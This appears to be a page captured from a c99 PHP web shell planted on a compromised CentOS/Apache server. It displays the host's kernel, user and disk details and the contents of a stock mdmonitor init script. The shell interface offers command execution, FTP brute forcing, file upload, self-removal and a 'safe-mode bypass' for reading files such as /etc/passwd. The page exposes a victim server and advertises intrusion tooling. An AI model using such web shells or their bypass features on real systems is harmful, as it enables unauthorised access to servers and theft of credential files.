!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/etc/rc.d/rc4.d/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     S15mdmonitor (2.08 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/bash # # mdmonitor This starts, stops, and reloads the mdadm-based # software RAID monitoring and management facility # # chkconfig: 2345 15 85 # description: software RAID monitoring and management # config: /etc/mdadm.conf # # Copyright 2002 Red Hat, Inc. # ### BEGIN INIT INFO # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Start and stop the MD software RAID monitor # Description: The mdmonitor service checks the status of all software # RAID arrays on the system. In the event that any of the arrays # transition into a degraded state, it notifies the system # administrator. Other options are available, see the mdadm.conf # and mdadm man pages for possible ways to configure this service. ### END INIT INFO PIDFILE=/var/run/mdadm/mdadm.pid PATH=/sbin:/usr/sbin:$PATH RETVAL=0 OPTIONS="--monitor --scan -f --pid-file=$PIDFILE" prog=mdmonitor # Source function library. . /etc/rc.d/init.d/functions usage () { echo "Usage: service $prog {start|stop|status|restart|try-restart|force-reload}" RETVAL=1 } start () { # Make sure configuration file exists and has information we can use # MAILADDR or PROGRAM or both must be set in order to run mdadm --monitor [ -f /etc/mdadm.conf ] || return 6 grep '^\(MAILADDR\|PROGRAM\) .' /etc/mdadm.conf >/dev/null 2>&1 || return 6 if [ -f "$PIDFILE" ]; then checkpid `cat $PIDFILE` && return 0 fi echo -n $"Starting $prog: " cd / daemon --user=root mdadm ${OPTIONS} ret=$? [ $ret -eq "0" ] && touch /var/lock/subsys/$prog echo return $ret } stop () { [ -f /var/lock/subsys/$prog ] || return 0 echo -n "Killing $prog: " killproc mdadm echo rm -f /var/lock/subsys/$prog } restart () { stop start } condrestart () { [ -e /var/lock/subsys/$prog ] && restart || return 0 } case "$1" in start) start; RETVAL=$? ;; stop) stop; RETVAL=$? ;; status) status mdadm; RETVAL=$? ;; restart) restart; RETVAL=$? ;; reload) RETVAL=3 ;; condrestart|try-restart|force-reload) condrestart; RETVAL=$? ;; *) usage ; RETVAL=2 ;; esac exit $RETVAL

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0047 ]--